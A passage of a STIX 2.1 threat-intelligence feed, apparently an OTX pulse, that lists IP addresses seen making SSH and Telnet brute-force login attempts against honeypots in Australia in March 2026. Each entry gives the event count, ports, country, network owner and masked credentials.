      "id": "indicator--b7c054f4-2bef-47aa-8bf5-a6bfd20454dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.19.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 135. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7489. Organisation(s): HostUS. Usernames observed (masked): l***s, 3**********4, b*****h, c***o, c**a. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, A*******6.",
      "id": "indicator--f1e240a6-d26f-4326-801d-36af15a832cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.189.157.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 127. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u**r, 3**********4, a***********r, j**n, k**e. Passwords observed (masked): *, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--30089ee8-4ce9-4d06-ba3c-3be5c09f0dfe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.157.151.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--29f9c37d-491d-4908-8d7c-adce9bdbe21a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:15:13.000Z",
      "valid_until": "2026-04-11T16:15:12.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9319. Organisation(s): HCN CHUNGBUK CABLE TV SYSTEMS.",
      "id": "indicator--a1daaa0f-ddb9-4ae8-84af-67e79a9fabf9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.72.226.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 391. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, c***o, d*******r, u**r. Passwords observed (masked): 1**4, 1****6, a***n, 0*************7, 0********1.",
      "id": "indicator--0f15431e-7355-493a-ad0a-b981b3e54ddd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.175.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--114dcc56-3895-4077-8920-49b7fa4a2cbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.19.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): U********5.",
      "id": "indicator--cd187074-7729-46ba-90c9-862b42f45029",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.10.252.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--753ea9b2-20db-4614-9555-e85b2da0b230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.7.12.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): k******h. Passwords observed (masked): W**********@.",
      "id": "indicator--c77e547e-8b36-4b94-83c7-777471d3a10b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.42.31.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): P***************h, t*******#.",
      "id": "indicator--8f358f03-b073-4ed6-83bd-3d9bdb1b5156",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.149.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network.",
      "id": "indicator--00e31d24-c119-42c1-aa4b-5895ea0e4542",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.249.188.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n. Passwords observed (masked): t******@.",
      "id": "indicator--3e033060-dfbf-4f48-af26-7f514a08a33b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.6.41.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T17:15:13.000Z",
      "valid_until": "2026-04-11T17:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, c***d, p***r, ***, *. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**4, 1***5.",
      "id": "indicator--68f1431b-7a03-46c8-85f5-d7ee4fb738ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.31.39.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 278. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, c***d, t**t, t***2, a*****e. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, 1****6.",
      "id": "indicator--0f425d75-45a3-4045-9234-f41222ae15ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.58.215.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 18229. Organisation(s): CtrlS. Usernames observed (masked): 3**********4, a*****x, c***d, a*******r, ***. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******8, 9******0.",
      "id": "indicator--56535f23-bc31-4224-945e-c6b440cb493b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.18.161.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 465. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s****d@e2b145e3dad1.com. Passwords observed (masked): e**********1.",
      "id": "indicator--ac697075-840f-4270-a0f9-861b7c8165bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, c***d, p***r, ***, *. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**4, 1***5.",
      "id": "indicator--07437c83-337d-4451-be60-4475fed17935",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--cd1611df-0b93-4e61-a4a1-cfc6aec93f13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.9.131.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): 3**********4, c***d, p***r, ***, *. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1**4, 1***5.",
      "id": "indicator--931186f3-e0a4-4350-bdad-68d88a82ac8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.64.162.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T18:15:13.000Z",
      "valid_until": "2026-04-11T18:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): k***********!.",
      "id": "indicator--9315feca-8d16-47c3-bba8-a3fad8c18295",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.45.22.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--156f5c28-1cf2-4cb4-a5c2-74e13c94346d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.61.255.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 29852. Organisation(s): Honest Networks, LLC.",
      "id": "indicator--e000f0a6-b590-47a7-a731-3518cef1858d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.155.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5b347790-4286-49f2-8457-0115956e71d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--737a1a60-0d52-4bed-8ea2-0421906d89f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--70ba8239-4741-4a06-938e-f5ce80c8cf2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.211.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--a8041a05-23d3-40e5-83fb-2b1f098fb7e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.135.171.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f264d500-ebb1-4d9b-a4f4-4d2c7862c86a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1*******9, a***n.",
      "id": "indicator--720f179f-fc5f-4756-98af-92fab9a5b88e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.155.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T19:15:14.000Z",
      "valid_until": "2026-04-11T19:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, l**s, t******a, a***r. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, 1**9.",
      "id": "indicator--3532079f-0042-44cf-abc5-4d94f0de8aeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, l**s, 3**********4, a***r, c***d. Passwords observed (masked): ***, 1***5, 1**9, 3***********4, 3**********4.",
      "id": "indicator--ff1829fb-ed3a-4749-b5b3-4b3d0976c620",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r******z, 3**********4, a***********r, a***n, a*******t. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, A***************!.",
      "id": "indicator--d0a7df09-a284-4565-886e-75667bc53f4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.49.239.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4685. Organisation(s): Asahi Net.",
      "id": "indicator--2b4e547e-5842-4af2-bbd1-0431139c8e8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.107.201.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46606. Organisation(s): Unified Layer. Usernames observed (masked): r**t. Passwords observed (masked): K***********4.",
      "id": "indicator--2a746a07-6277-460c-82a8-b1a80c3ff9e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.214.114.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T20:15:13.000Z",
      "valid_until": "2026-04-11T20:15:11.000Z"
    },
    {
      "created": "2026-03-10T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 52602. Organisation(s): SKORPION SISTEMA DE TELECOMUNICACOES LTDA.",
